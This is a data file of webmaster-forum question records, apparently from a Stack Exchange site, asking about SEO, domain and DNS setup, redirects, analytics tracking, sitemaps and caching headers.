{"id":"8758","title":"Do search engines treat index pages with excerpts as duplicate content of the pages they link to?","text":"I am using WordPress and in my post sidebar I have related posts which may be of interest to the user, however, I also have an excerpt of each article which is normally the first paragraph of the post it is linking to. For example: http:\/\/musicdune.com\/reviews\/album-review-ellie-goulding-lights If you do a Google Search for the first excerpt in the realted posts section from that page you get 4-5 results from my domain, http:\/\/www.google.co.uk\/search?sourceid=chrome&ie=UTF-8&q=Strip+back+the+synths,+fast+beats+and+the+other+pop+elements,+and+you%E2%80%99re+left+with+something+elegant+and+soulful Is it recommended that I remove the excerpt from the related posts?"}
{"id":"59620","title":"Using external web space from domain (DNS)","text":"I got a client that uses provider A for webhosting purposes with domain A. I registered a second domain B on a different provider B for my client. How can I link to the web folder on provider A with my domain B? I don't want to use a simple redirect - it should be the same as using the web space with domain A. (so the URL structure &c. will remain) Edit: I already got the nameservers from provider A, but I don't know how to set and use them."}
{"id":"11695","title":"What are the best blogs for submitting new startups?","text":"There are some blogs where user can submit their start-ups for a review. Among them **TechCrunch** , **ReadWriteWeb** , **StartupTunes** , **The Next Web** etc are common. But what are others we can try submitting our start-ups for a review. More blogs mean more reviews and more quality SEO backlinks. So, share more quality start-up review blogs here and help us all."}
{"id":"53654","title":"Benefit to linking to content directly or via a tracking redirect","text":"I run a site where the majority of links on my page link to content on other sites. Lets say we are looking at movies for example. If my sites are: www.siteA.com www.siteB.com What I currently do is have all my links point at my API domain: www.siteC.com\/tracking.php This does a redirect to the original content on say IMDB.com or disney.com, whilst tracking the visit for analytics purposes. ## Question Is there any advantage or disadvantage to linking directly to the content on IMDB from SiteA and SiteB rather than going via my redirect?"}
{"id":"65345","title":"How to show Google Website is Beta Version","text":"I am developing a new version of my old website. The new version is slightly to be released in the coming month. I would like to show Google , **that my new version of my website is in beta mode** for few days\/months. Is there any possible way. Since the website in beta mode , there might be some flaws or 404's may occurs. Because of these i don't like to drop my traffic in Google search. So if i say beta version to google is there any consideration in traffic drops."}
{"id":"24936","title":"Show index page of domain1 when user enters the URL of domain2","text":"I have two domains: www.domain1.com and www.domain2.com. I want to implement the following scenario: Whenever a user enters www.domain2.com, the browser should display contents of www.domain1.com but the URL should remain www.domain2.com. How can I implement this?"}
{"id":"24932","title":"transfer domain from godaddy","text":"I bought a domain name on godaddy a couple of weeks (before SOPA) back. Now I want to transfer the hosting to bluehost where I have my other domains. When I try to transfer, bluehost tells me > The domain xxxss.com was recently registered [Registrar GoDaddy.com, Inc.] > xx days ago. You must wait another xx days before you will be able to > transfer the domain. Do you know why that is? How can I transfer the hosting for this out?"}
{"id":"24931","title":"Element Css color changing that allows robust cycling through colors for comparison","text":"I frequently find myself testing out new colors for elements (finding that one doesn't work with the rest of the color scheme). Unfortunately, the process when using even firebug or google chrome is hit and miss (try lots of different colors by manually typing in the codes, find out that the color doesn't look good, look up another hex code, try the next color, etc etc). Is there a better app or approach for this? I'm thinking something like the color pickers in photoshop and elsewhere where you can change the color using sliders to find a better one. A trivial example of a color picker like what I'm looking for, just for clarity: http:\/\/www.colorpicker.com\/ But it would be changing the element in the page, of course."}
{"id":"27319","title":"AJAX file 403's","text":"Google webmaster tools shows a couple of 403 crawl errors (URL errors, access denied) for folders holding AJAX files on the ColdFusion server: CFIDE\/scripts\/ajax\/FCKeditor\/ CFIDE\/scripts\/ajax Will this affect our site's ranking on Google?"}
{"id":"45178","title":"De-share third level .name domain","text":"Sometime ago I registered a third level `.name` domain of the type **john.doe.name** (this is just an example-my domain is not actually john.doe.name). I just realised that I could have registered the entire second level domain **doe.name** , which would grant me control of the third level one anyway. Since I already registered the third level, **doe.name** is now \"shared\". I have 2 questions: 1. How do I check if I am the only one using the shared second level domain? (normal whois lookup doesn't give any result) 2. Can I \"de-share\" the domain and buy the entire second level domain?"}
{"id":"2593","title":"What should I look out for when buying a domain name?","text":"(For the purposes of this message, let's assume that my company is named Squirrel Consulting LLC.) I received an email today from someone offering to sell me the squirrelconsulting.com domain name today, for $980. Right now I'm using the domain \"squirrelnow.com\" for my business. When I formed the company, the proper squirrelconsulting.com domain name was already taken, so I couldn't use it. When I check the squirrelconsulting.com web page, this message appears in the top right: squirrelconsulting.com expired on 07\/26\/2010 and is pending renewal or deletion I haven't really used the squirrelnow domain for much; if I did buy squirrelconsulting.com it would be quite easy to transfer everything over to it. So that's not an issue. There are many other companies named Squirrel Consulting LLC, so I can't go after him for \"cybersquatting\" or whatever. My question is: Is there anything I should be aware of when buying the domain? What questions should I ask to make sure this person is legit and not trying to sell me something he has hijacked somehow? Is there anything I should be wary of? Thanks."}
{"id":"27910","title":"TXT vs SPF record for Google servers SPF record, either or both?","text":"According to Google’s documentation, https:\/\/support.google.com\/a\/bin\/answer.py?hl=en&answer=178723 It clearly says Create a TXT record containing this text: `v=spf1 include:_spf.google.com ~all` Why is this not a SPF record? RFC4408 defines SPF records, but it seems it’s not really used https:\/\/tools.ietf.org\/html\/rfc4408#section-3.1.1 Is that right? Should I create both TXT and SPF ? Thanks"}
{"id":"27911","title":"Develop website locally and push updates on Remote Server using Git","text":"Together with a friend we are looking to develop a website (using Symfony2). We are on a Shared Hosting with SSH access. Below is the environment we'd like to setup: * Use git as Version Control (we are new to Git) * Share the tasks and develop on our local machines * Push the updates onto the remote server Here's our initial thoughts on how to do it (assuming Git is already running both locally and remotely): * Install Symfony on the Remote Server (basic setup) * Get a clone (using Git) of the project locally * Develop project locally and push updates (using Git) on the remote server Does this approach make sense, if not, any recommendations? Thanks"}
{"id":"2598","title":"Are you aware of any client-side malware that sends lots of junk requests for .gifs?","text":"I am getting dozens of 404 errors on my site that are requests for gif's with apparently random names, like 4273uaqa.gif and 5pwowlag.gif. I see that most of them are coming from one user. I assume something is happening in the background on her machine without her knowledge -- a malware thing on the client. Have you seen this behavior before, and do you know what sort of malware might cause it? Would love to advise my customer that s\/he has an issue. I'd also like to stop getting these 404 reports. _(reposted from main Stack Overflow)_"}
{"id":"20635","title":"Are there any admin control panel html design which can be used freely for commercial websites?","text":"Are there any admin control panel html design which can be used freely for commercial websites? Or is there any tutorials on how to create nice looking admin control panel designs using static html \/ css maybe bit of jquery etc?"}
{"id":"25225","title":"If I cache an RSS feeds' html, but not the images, will this appear to be image hot-linking?","text":"I have a simple RSS news application built using JavaScript, that pulls in feeds through Google's feed API. I'm doing a proof of concept and caching the feed using localStorage though due to storage limitations, I only store the HTML and not the images. When I load a feed from cached html, and the images are merely `img` tags pointing to the source content - is this distinguishable from hot-linking an image? If so, is there another way I should go about this? Or - does this even matter? Edit: To avoid any possible confusion, I am not attempting to hotlink content. I am trying to use syndicated content according to the terms of use (according to Google's feed API). I am caching the content to speed up the application, and only cache it for as long as is allowed according to each feed's policy (if set in the HTTP header). I am merely wondering if this is the appropriate way to handle this content, and if not, what would be an appropriate alternative."}
{"id":"25220","title":"What is easy to integrate statistics script?","text":"I develop a website on that people can create their own subpages with some tools i provide. And i would like to add the ability for users to see statistics without setting them on their own (like with Google Analytics. So i need some SAAS or PHP scripts for statistics that meets this criteria: * it's easy to create new account in statistics programmatically when person creates account on my website * it's easy to integrate my login mechanism with the login mechanism of the statistics * person sees only his statistics and not other people statistics * statistics are enabled on a website by adding some JS script to user subpage. Do you any software of this kind that is easy to deploy?"}
{"id":"42233","title":"301 redirects, site files","text":"Is it possible to have a 301 redirect without moving files? I have a site currently at a .ca domain. Now I want the primary domain to be .org. I would like to do this in a way that is search engine friendly. I have been told I can do this with 301 redirects. Is it necessary for me to move my files over to another server \/ folder or can I just write the 301 redirects so that the URL changes to the preferred .org domain?"}
{"id":"68146","title":"Should I optimize for Adsense eCPM or Adsense Revenue?","text":"I'm split testing, and one skin has a higher revenue, while the other skin has a higher eCPM. Which one should I choose? If I select the higher eCPM, I assume that any future enhancements will bring a higher revenue, but then revenue now is real money."}
{"id":"42729","title":"will search engine bots penalize\/index download links which is a link to just a file and not a page with certain other criterias?","text":"**The scenario is** 1. My page is a music description page with proper title, description, keywords, h1 and a description as a paragraph 2. Url of this page is a meaningful long slug(not very long) separated by hyphen 3. This page has a download link(to download a small music file) which will force download that file using content disposition 4. Download link will have title text like a sentence 5. Download links hyperlink will have a meaningful slug separated by hyphen 6. Hypertext like 'Click here to download' 7. Sample of the url is sitename.com\/module\/categoryname\/title-of-the-music-sample\/ 8. Sample of the hyperlink slug is href='\/module\/get\/title-of-the-music-sample\/' and assume that the title attribute text is similar to the slug. I dont want the download link to be indexed. that is i dont want bots to index anything starts with \/module\/get\/ because **I am afraid that:** 1. that the slug for the link and the slug of that pages url are the same so it may be considered duplicate ... the only difference in the url is \/categoryname\/title-of-the-music-sample\/ and \/get\/title-of-the-music-sample\/ 2. that google may penalize thinking i am trying to populate duplicate keywords in the link tags which is similar to the current pages url. 3. that directly accessing the \/get\/(. _)\/ will redirect to the actual music page of \/categoryname\/($1)\/ if the user is not coming from \/category\/_ ... i am restricting users to directly load the download page... so i redirect to the main page and only then they can download the music file... 4. since i am redirecting \/get\/ to \/categoryname\/actualcontent i think there is a trouble i this which is not a good practice... So thought of adding disallow for \/module\/get\/ to prevent bots from indexing or using that \/get\/* links **can i use nofollow to my own website. like in the download link can in add rel='nofollow' if i do not want bots to crawl or index that link?** If i dont want those links to be indexed then why do i use a hyeprlink ... because thinking that those keywords would add more keywords to the document or some kind of gimmick i see in other sites which would boost ranking. i think this approach is not good... may be or may not. If what i did is not a problem then i will leave it as it were... and add the condition in robots hinting not to crawl or index \/get\/* links Else i will change it to a span tag with an onclick event yet writing in a way so that bots will not crawl or index window.location ... . Will those links be penalized or indexed? if it is going to be penalized to some extent or whole then what are all the points that i have missed to think to make the link proper? if it is going to be indexed then still is there any flaws which people would say that doesn't matter? Suggestions please."}
{"id":"6046","title":"Advertising - what are my options when just starting out?","text":"I'm in the midst of creating a couple of personally owned sites. Neither are aimed to be the next Facebook\/Twitter\/whatever, but I'd like to be able to make some money off of them, at the very least to cover a portion of my hosting costs. The problem is, I'm not sure where to look. I know of things like AdSense and other PPC 3rd party advertisers, but am worried about their relevancy. I don't want ads for things that aren't at least tangentially related to my content. I'm also concerned that these generated ads will be ugly, and detract from my site. And, to clarify, I'm looking for ads to display on my sites, not for a service to advertise my sites on other sites. So, what would you (the collective you) suggest as the best bang for my buck? Ideally, I'd grow to a point where I could get direct advertising, but that's definitely a long term goal."}
{"id":"42722","title":"How to handle CNAME host redirect to virtual directory?","text":"I have an internal website and virtual directory `http:\/\/server2012\/logs`. I created a CNAME on my DNS server as LOGS -> server2012. I would like to set it up so that `http:\/\/LOGS` redirects to `http:\/\/server2012\/logs`. Ideally, I would still want it so that all pages appear in the browser as being off from the LOGS URL. So `http:\/\/LOGS\/network.html?site=32` is what is displayed in the browser, but it is really being served from `http:\/\/server2012\/logs\/network.html?site=32`. I've looked at URL rewrite, but can't seem to get to work."}
{"id":"50864","title":"Google is fetching body as title","text":"I'm encountering a strange behaviour of Google. Pages in my site has the form : .. <title>Title of Article - mysite<\/title> <\/head> <body> <img alt='mysite logo'> .. So I expect this page to show as \"Title of Article - mysite\" in the clickable link of google SERP. However, it is displayed as \"Title of Article - mysite - mysite logo\". Why the heck is it fetching part of body as the title? How can I prevent this from happening ? Thanks !"}
{"id":"54915","title":"Robots meta tag with \"noimageindex\"","text":"I have some doubt regarding `noimageindex` value in meta robots tag. If I add this tag on my page say `http:\/\/www.example.com\/somepage\/someaction.php` and on that page the images are served from another page say `http:\/\/www.exampleimg.com`. Then will the tag has meaning. I mean to say will the images will be ignored by bots? Or `exampleimg` is not affected by that tag. And all images will be indexed? Note: We want to stop indexing of the images on that particular page."}
{"id":"2627","title":"Landing pages explained more, and Ad landing pages need inlink from the webiste they promote?","text":"After reading here what's a landing page is and some other articles i understood there are 2 types of landing pages, the Ad ones for commercial and the SEO ones. * * * **AD (COMMERCIAL) LANDING PAGES** In my understanding the Commercial\/Ad landing page is **created mainly to have a commercial Ad (like AdWords on Google) to link directly to such landing page**. This landing pages are supposed to be in some way tailored to the text of the Google Ad and designed in order to trigger user action. An example could be a website that sells gold, silver and copper medals. A Google Ad that says: \"Buy silver medal\" and links to landing page that shows more specifically the silver medals (rather than all medals) and maybe some promotional offer with a big \"Buy Now\" button. The advantages of creating this type of landing page is that a user who was interested in the \"Buy silver medal\" advertisement and clicked on it, was probably more willing to buy something if he LANDS on a page talking specifically about silver medals, rather than landing on the website HOME PAGE that shows up all sort of medals and NOT specifically the silver ones. * * * **SEO LANDING PAGES** Still in my understanding, on the other side, the SEO landing pages are supposed to be in very simple terms **pages with some sort of interesting contents (that maybe also insists on some key phrases)** in order to bring attention and reputation from the WWW to that page and indirectly to your website. Reputation and interest to the SEO landing page is mainly generated because many people are gonna link to that page or talk about it in forums, blogs,twitter, etc * * * My questions are: 1. **Did I understood the differences between the two type of landing pages?** 2. **Are Ad (Commercial) landing pages supposed to have an inbound link from the website they promote? I would say no** cause there is no reason to give any sort of reputation to these type of pages, and we would also lose the ability to see how many visitors arrived on my website from the landing page (in other words how many visitors arrived on my website from the Ad campaigns). I would not even make Ad landing pages being indexed by search engines, in this way by counting the visits to the landing page I have a better approximation of the results of my Ad campaign."}
{"id":"55280","title":"If we sign up to Alexa Pro, will others know it?","text":"I just signed up for Alexa Pro. If people go to `mydomainname.com`, will they know that whether or not the domain is registered in Alexa Pro?"}
{"id":"20946","title":"Sitename alternate suggestion SEO","text":"I had a question about SEO. Say, I've made a restaurant website, which is running for a while now. I added some titles, meta tags, keywords,description,etc,etc on it's pages. Now, let's say for example the name is fudeg.com. When I google for fudeg, it gives me results for fudge instead. Now, when I click on \"search for fuedge instead\" my site does appear. So how do i get my site entry in google for fudge? Do i add fudge in the description,keywords and other related SEO tags as well?"}
{"id":"55283","title":"How can I make Google crawl content behind an AJAX load more button","text":"I have a feed that has 10 questions and answers loaded when you first open the page. And then I have a \"Load More\" button that gets you 10 new questions and answers everytime you click on it. How can I make Googlebot crawl those new questions and answers as if they were paginated, i.e.: * page 1 ==> 0-9 questions and answers * page 2 ==> 10-11 questions and answers * and so on. Or can you provide a better alternative?"}
{"id":"44995","title":"Can I force Bing to reindex our site?","text":"Our website is ranking quite well (first page) on Google for quite a lot of keywords. However, our website is not on the first 10 pages of Bing for most of these keywords. I notice our Google rankings have increased since I upgraded our website to Wordpress, and submitted the new sitemap to Google. Google re-indexed our site within 24 hours of submitting a new sitemap. I've submitted our sitemap to Bing, but I notice Bing's index of our site still contains our old site's pages, 5 days after submitting our new sitemap, even though Bing has crawled URLs in our sitemap. Is there a way I can force Bing to re-index our site, or do I just have to be patient? What is the normal frequency of the Bing bot revisiting a site? What is the normal frequency of the Bing bot revisiting a site after deleting the old sitemap and submitting a new sitemap? Thanks."}
{"id":"7351","title":"What is the key to getting your site accepted by the Open Directory Project?","text":"I have tried several times over the past year to submit my site to the open directory project http:\/\/www.dmoz.org\/. Every time I check back a few months later and the site hasn't been added. Is there a trick to getting a site accepted. What has worked for other people?"}
{"id":"9583","title":"Shall I use Photoshop to design my websites?","text":"I'm in the process of learning how to design my website. I've been reading a lot of design theory but now that I'm about to start learning how to use the tools, I'm stuck! What tool shall I use? There are so many! Photoshop? InDesign? Illustrator? Can anyone explain me what should I use and what's the best way to learn? Thanks"}
{"id":"58483","title":"If a website is accessed on HTTPS instead of HTTP, should the URLs on the sitemap be HTTPS or HTTP?","text":"I have changed my website from HTTP to HTTPS. At this moment, I have the next rewrite rule working to redirect calls for HTTP to HTTPS: RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteRule ^(.*)$ https:\/\/example.net\/$1 [R,L] Should I write the URLs on the sitemap with HTTP or with HTTPS? (including the homepage)"}
{"id":"60769","title":"Allow parent site of iFrame to be a referral in Google Analytics","text":"My website is advertised through various magazine websites. One in particular \"links\" to us by showing their website, a very brief header, and then our website displayed within an iFrame on their website. In Google Analytics, we don't see this traffic at all as a \"referral\", so I don't see anything indicating that this traffic is from a 3rd party website. Is there anything we can do to track page views, etc. that originate not from our website, but actually from the magazine's iFrame? Edit 1: Just an FYI, Im not looking to necessarily make the parent's site traffic list as a referral in GA. Merely, if there was any way for me to track this information and tell that the site traffic was coming from the parent site would be helpful to know. Thanks!"}
{"id":"7356","title":"One subdomain is not working","text":"My main domain works just fine - www.example.com and a subdomain set up by another developer works as well - sub1.example.com. But when I try to set another subdomain up I go through the process everything seems to work. The software creates the default files where the subdomain files should go. But when I try to browse there it doesn't work. My host uses Plesk to do all of the hosting stuff. What do you think the problem is? I doubt it is some sort of cache issue because I had problems on my phone which I tried after problems on the pc. Maybe for some reason Plesk needs time to set this up? I have used Cpanel before and that works instantly. EDITED Additional Information provided by the OP When I ping the domain I receive this reply: ping: cannot resolve drnick.burnhamrichards.com: Unknown host Viewing the url in my broswer gives this error: Oops! Google Chrome could not find sub1.example.com I visited the IP and I got a generic landing page that says something like \"welcome, you see this page because there is no website at this address\" and since I am using virtual hosts I imagine that is what I am supposed to see. When I log into plesk I see that the a-records for both sub1.example.com and sub2.example.com are pointing to the same IP."}
{"id":"9234","title":"How does bing-bot( is that the right spider-name? ) and googlebot interpret 301 redirect?","text":"I've been looking for documentation on how the Microsoft and Google bots interpret 301 redirects. It seems that google-bot stores documents on a url based index system. But I haven't been able to figure out how bing works. Should I assume that they are still working towards coping everyone else and assume they use an algorithm close to google? Is it best to just forward a page to a new location via Javascript? I think this might be a blackhat trick, but how would I tell the bots that it's not? Is 301 redirect my best option and I just have to bit the bullet because said pages are no longer in existence? What other options do I have that I might not be aware of?"}
{"id":"9236","title":"Joomla Hide Menu Item, or: Using Rich Content as part of the navigation","text":"In my Joomla based web site, I have a two layer main menu. The page layout contains two sections whereas the left one displays the content and the right one displays some other kind of content which at the same time serves as a menu. For example, if the user clicks on the \"Products\" -> \"SomeCategory\" 2nd level menu item, the left section displays an image. The right section lists all products of that category. Each product is represented by an image and text. The content is scrollable. This section is implemented by means of a custom module (mod_custom) assigned to the menu. The content is rich text (HTML). Each product is entered manually by adding a picture and a text in the WYSIWYG editor, and by inserting a link for the picture and text. **Now the issue:** When the user clicks on a product, I want to display the corresponding product description article (\"SomeProduct\") to the left, accounting for the following requirements: * The bread crumb now displays \"Products -> SomeCategory -> SomeProduct\" * The main menu still displays the 2nd level for \"Products\", and \"SomeCategory\" is still marked as selected. * _(I would love if the right section which lists the product would remain in the exact same scroll state, but that's a completely different story.)_ If I link the product entry from the right hand side directly to the article \"SomeProduct\", then the article appears to the left, but the **breadcrumb and menu are reset.** So I wanted to **create a hidden menu item** \"SomeProduct\" beneath \"SomeCategory\", and to link the product entry to that menu item. This way, if I click on the product entry, the article appears to the left, the breadcrumb behaves correctly, and the menu state is preserved. However, **it is not possible to configure the SomeProduct menu item as \"hidden\"** , therefore it appears in the main menu. I found some resources that suggest to **create another menu, called \"hidden\"** , which does not use any modules, and to create the \"SomeProduct\" menu item in that menu. **Unfortunately this did not work for me:** If I link that menu item from the product entry, and click on that entry, then the article appears to the left, but the menu is reset, and the breadcrumb displays \"SomeProduct\" instead of \"Products > SomeCategory > SomeProduct\". Lucky me! I found an appropriate stackexchange site where I can pour out my heart to you guys. Sure you can help me :-) * * * Update: To make my point clearer, see the wireframes below, they show how I'd like the page to behave. Please note that the \"SomeProduct\" etc. do _not_ appear in the main menu, but they behave like submenus of \"SomeCategory\". **User clicks \"Products\":**  **User clicks \"SomeCategory\":**  **User clicks \"SomeProduct\":** "}
{"id":"33166","title":"Logging what was in the content of a page","text":"I'm one of the people working on a Java based website that has the apache httpd in front of it. The content on the pages is migrating towards personalizing the content and as such just about every user will get a unique page containing a different combination of blocks with possibly even different content in the blocks. What we want is to have logging that contains everything you see in an average apache httpd access log (all the technical details like the performance, cookies, header fields, etc.) and the functional information of what was in the html of that page (i.e. which block was shown where with which content and why was it put there). We have per content block a string that describes it (lets call this content- string). We came up with the following ideas to measure: 1. Log inside the application the request id along with the content-string during the generating of this block. At a later moment we could then combine the technical measurements (from the apache access log) with the content logs. This idea was discarded when we found it meant 'no caching' of the content blocks. 2. Log the content-string as an extra http response header and log using a standard apache feature. This means that we must wait with sending the content until we have everything because once we start sending html to the user there is no way to add an extra response header. 3. Use a sniffer (i.e. something like what is deep inside tealeaf or oracle ruei) and have that extract the content-string from inside the html (hidden inside html comments). I haven't find anything opensourced yet. 4. Use an apache module to extract the content and place this into the logfile. So 1. and 2. don't work. In addition we see that having two measurement points would make joining the various datasets pretty hard to do right. For ideas 3. and 4. I've not been able to find a viable solution yet. So I'm asking here: What is a solution that will work for a high traffic website? What other ideas are out there and what practical tools are available?"}
{"id":"33167","title":"XMPP Protocol on XAMPP","text":"Hey I was wondering if I could use the XMPP messaging protocol in the Mac application XAMPP."}
{"id":"33163","title":"Google Traffic Decline","text":"Below is a chart which shows traffic from Google for a new website. What could be the reason for those dynamics: fast growth and slow decline? https:\/\/www.dropbox.com\/s\/xmv3kd3q0l2iyaa\/traffic.png"}
{"id":"12348","title":"Does the registration of a country name like spain.com is exclusive to the government?","text":"Can an individual to buy a domain name containing only the name of his country or those domains are available for registration only to the government? For example spain.com, france.net, etc."}
{"id":"62977","title":"Google Experiment with multi step shopping cart","text":"I am attempting to run an experiment that tests an alternate checkout UI. For the experiment, I use the URL of the original checkout and the URL of the alternate checkout as a variation. Google validates the experiment; however, when the experiment is running, a user can never get past the first step of the checkout when the user click the \"Next\" button (either the original or the alternate). Instead, the user is redirected to the first step again. When I stop the experiment, this does not occur. Why would this be happening?"}
{"id":"56551","title":"How to make a program that display something and after 10 seconds automatically redirect to another site?","text":"<?php echo \"Hello World\"; sleep(10); header(\"Location: \" . \"http:\/\/google.com\"); ?> The problem with this is that header is already sent Warning: Cannot modify header information - headers already sent by (output started at \/home2\/provenda\/public_html\/silverslady.com\/index.php:46) in \/home2\/provenda\/public_html\/silverslady.com\/index.php on line 75"}
{"id":"12341","title":"Software to run a large university website","text":"I'm trying to find a replacement solution for a large university's current web presence. There are a number of strategies we are considering, including perhaps using an open-source or commercial off-the-shelf software solution. The list of requirements we have is very lengthy, but main points include: * Robust content management system, which would allow for creation of multiple independent sections on the site, * Flexible permissions system, allowing for a large number of section-specific administrators and editors, * Ease of use, * Extensibility, allowing us to integrate the software with existing IT resources (e.g. LDAP-controlled login system, numerous databases with HTTP interfaces, etc.) If anyone here worked or studied at a university and has used or implemented software solutions to this problem, I would be very keen to hear your opinions of what works well or what doesn't."}
{"id":"62978","title":"Prevent XML sitemaps from showing up in Google search results","text":"How do I prevent my XML sitemap files from showing up in Google search results like this result of a `site:` search query:  I don't understand why Google would choose to show sitemap files in search results to begin with. These files are not meant for human consumption. Google needs to be able to crawl it to be able to process it, so I can't disallow it in _robots.txt_. I just don't want them to put it into the search results after processing it."}
{"id":"12345","title":"Criteria for hosting your own video or embed third party player (youtube)?","text":"I have a client which I've been working with on a site built on Asp.Net MVC 2 (although I don't think that plays too much into this question) that helps with their workflow from outside vendors. One of the features is adding a video tutorial for their users (who are not technical, and will likely use the site once). Originally they wanted to embed a player (YouTube or another similar site) from which the video would play. One of their programmers though convienced them to host the video on their own servers. I can only really think of bandwidth as a concern. The video in mp4 format is 400mb, and while the site is low volume now, they are adding more of their customers to use it which is why we're continuing to expand its functionality. So, what other criteria would should be considered when making this decision and what would push a decision one way or the other?"}
{"id":"50261","title":"Microdata for Q&A page","text":"Which microdata is the best for a Q&A page or for a list of links to Q&A pages. When searching \"yahoo answers cat\" via Google it displays the result from Yahoo in a very nice way. It displays a list of related question with the number of answers.  What microdata\/microformat should be used on Q&A pages like Yahoo Answers or StackExchange to have similar results in Google?"}
{"id":"10275","title":"Website showing increase visit rate in Google Analytics for those keywords which are not even listed in Google","text":"I have a strange scenario. My website's Google Analytics results are showing the increase rate in visits for those keywords (using Google Organic) which are not listed in Google. I can see in Google Analytics that 500 users visit my site using XYZ Keyword by Google Organic search. But if I search XYZ in the Google search engine I can't even see my website in the first 20 pages. How could it be possible?"}
{"id":"42943","title":"Is Product type from Schema.org the correct vocabulary choice for used items on a classifieds site?","text":"I have a classified ads website at http:\/\/www.gastonia.com. We are redoing the architecture to be HTML5 compliant as well as heavily use Microdata from Schema.org. Given that most things there are used, is Product vocabulary still the correct choice? http:\/\/schema.org\/Product EDIT: Given the responses so far, Farrukh gave a link with more details. This was on the page: The following guidelines apply to product snippets: When using product markup, the main topic of the page should be about a specific product. Product markup on listing pages is not supported. The product should be available for purchase directly on the page. We do not support product markup for pages that require a user to visit separate seller's site or contact a seller offline to complete a purchase. Adult-related products are not supported. If the product has been reviewed by a single reviewer, the reviewer’s name needs to be a valid name for a Person (e.g. \"James Smith\") or Team\/Organization (e.g. \"CNET Reviewers\"). For example, \"50% off on Black Friday\" is not a valid name. Note the guideline that the object should be available for purchase directly from the page. Do you think that disqualifies using the Product vocabulary?"}
{"id":"52877","title":"Should I use rel=\"nofollow\" for social media links?","text":"The question here is whether I'm passing juice to my Facebook, Yelp pages etc. I do want those pages to rank higher than those of competitors, but am I hurting my site by having these sitewide links without the `rel=\"nofollow\"` attribute?"}
{"id":"29831","title":"Setting Cache-Control and Expires headers for the end client only","text":"I am trying to add explicit caching to 301 redirects. However, I am worried that a permanent redirect for one user might not be permanent for another user. So I'd like to use `Cache-Control: no-cache` so that upstream servers like my ISP don't cache that request (I believe that's how this works). This leaves the Expires header which I've set to one month in the future. But the combination of Cache-Control no-cache and Expires headers makes me think I'm doing it wrong. I'd like for an individual user to have a cached request, but avoid ISP\/upstream caching. How should I set up my caching headers on redirects?"}
{"id":"54830","title":"How to use Google Analytics to track visitors who come from a particular entry page","text":"Is it possible to track, e.g pageviews, time on site etc., only those visitors who come from a particular entry page, eg.`http:\/\/www.abc.com\/123?qwe=456` to my site using Google Analytics. If yes, then how. Thanks"}
{"id":"33292","title":"Google shows wrong results for site domain search","text":"I entered site:example.com on google search it gave me list of unique pages exists on my website, and then I selected 'Past Week' filter under 'Show search tools' it gives me just 4 results when I have more then 50 posts from past one week. Sitemap.xml is submitted as well."}
{"id":"24068","title":"Why does the meta tag use name-content pairs and not regular attributes?","text":"More of a theoretical question, but wouldn't it make more sense to have only one `meta` tag with a bunch of attribute-value pairs? Instead of: <head> <meta charset=\"UTF-8\" \/> <meta name=\"author\" content=\"Joe Schmoe, jks@example.com\" \/> <meta name=\"description\" content=\"An article that summarizes the risks and benefits of playing video games for high school students.\" \/> <meta name=\"keywords\" content=\"video games, high school students, development, cognition, learning, problem solving, strategy, parenting, time management, procrastination\" \/> <title>I'm About to Graduate but I'm Obsessed with Skyrim<\/title> ... <\/head> Wouldn't it save some bytes to just write: <head> <meta charset=\"UTF-8\" author=\"Joe Schmoe, jks@example.com\" description=\"The risks and benefits of playing video games for high school students.\" keywords=\"video games, high school students, development, cognition, learning, problem solving, strategy, parenting, time management, procrastination\" \/> <title>I'm About to Graduate but I'm Obsessed with Skyrim<\/title> ... <\/head> If the values of the `name` attribute are preset, why not just make them attributes? My method would be easier and smoother for Webpage authors, and I'm sure it would be easy to re-program Website crawlers\/robots to understand it. Relevantly, **is there a reason why it can't be done?**"}
{"id":"59577","title":"Rewrite and virtual hosts for moving subdomains to folder-like requests","text":"I am administering a website that previously had mini-sites set up for various physical locations using sub-domains (`city1.site.com`, `town2.site.com`, etc.) and I now need to disable these mini-sites. They are no longer being used and reside on a server that is obsolete. However I want the users that may have or find old links to be directed to the Magento store running on a new server with a request that looks like `www.site.com\/store-locations-city1` so that the user gets that store's information page. If I simply change the DNS entries for those subdomains to point to the web store server, and there is no virtual host configuration, they will be redirected (I believe, haven't tested) to the default virtual host. (i.e. `city1.site.com` directed to `www.site.com`'s IP with no virtual host for `city1` will be redirected to `www.site.com`) If that is correct, can I simply set up a rewrite rule for each subdomain that reqrites the URL to `www.site.com\/store-location-[city\/town]` ? Where would I configure those rewrites? If this doesn't work the way I think it does, what alternative do I have? Upon further reading, I tested with one site and these are my results: without a virtual host, I can verify that the url is automatically redirected to the default virtual host. If the url originall contained anything it doesn't change this behavior. I added a virtual host for that subdomain with: <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName city.site.com ServerAlias www.site.com city.site.com Redirect \/ http:\/\/www.site.com\/store-locations-city <\/VirtualHost> which works unless the original URL had something else in it, say `city1.site.com\/contact` which results in a 404 because `www.site.com\/store- locations-city1contact` doesn't exist. I still need to know how and where to rewrite anything other than `\/` in this case"}
{"id":"43490","title":"Can apache logs tell between encryped and un-encrypted traffic?","text":"Is there a way by just looking at the apache logs you can tell if the user- credentials is encrypted or not? Meaning some kind of encryption e.g ssl or plain-text. Thanks."}
{"id":"24061","title":"Domain name at different host to website","text":"I have someone I'm making a website for with a domain name and current website hosted at fasthosts. I've built them a website hosted at a different host, unlimited web hosting. The website I've made them is in a directory like this `www.mysite.com\/dev\/0002`. So fasthosts: Is the registrar for the domain name, it also has all of the email addresses and their current site. unlimited web hosting: Has the new site in a sub directory, like `.com\/dev\/0002` Is it possible to keep the domain name and email addresses all hosted at fasthosts and to have the new website hosted in my unlimited web hosting account and to somehow have the domain point to the new website?"}
{"id":"21543","title":"What to do About Wrong Information That Has Propagated Throughout the Internet","text":"Many years ago, someone made an entry into Yahoo! Maps for our small research library that contained the phone number of our librarian. Hundreds of sites accepted this information as authoritative and have spread it throughout the internet, including: Bing, Google, Yelp, YellowPages, WhitePages, and CitySearch. The problem is that this research library is not our primary business. In fact, it is a very small group within a very large organization. Somehow, her phone number is as popular (possibly moreso!) than our main line. The librarian spends a fair chunk of her day routing calls intended for the rest of the institute. **What would you do in this situation?** I have recommended that we redirect the librarian's phone to the front desk and have her change her number, but she has had the same number since 1997 and is reluctant to change. In late 2009, I tried updating the info with Yahoo, Google and Bing. All three removed the reference library from their listings, but have since put it back. Are there services that fight internet disinformation?"}
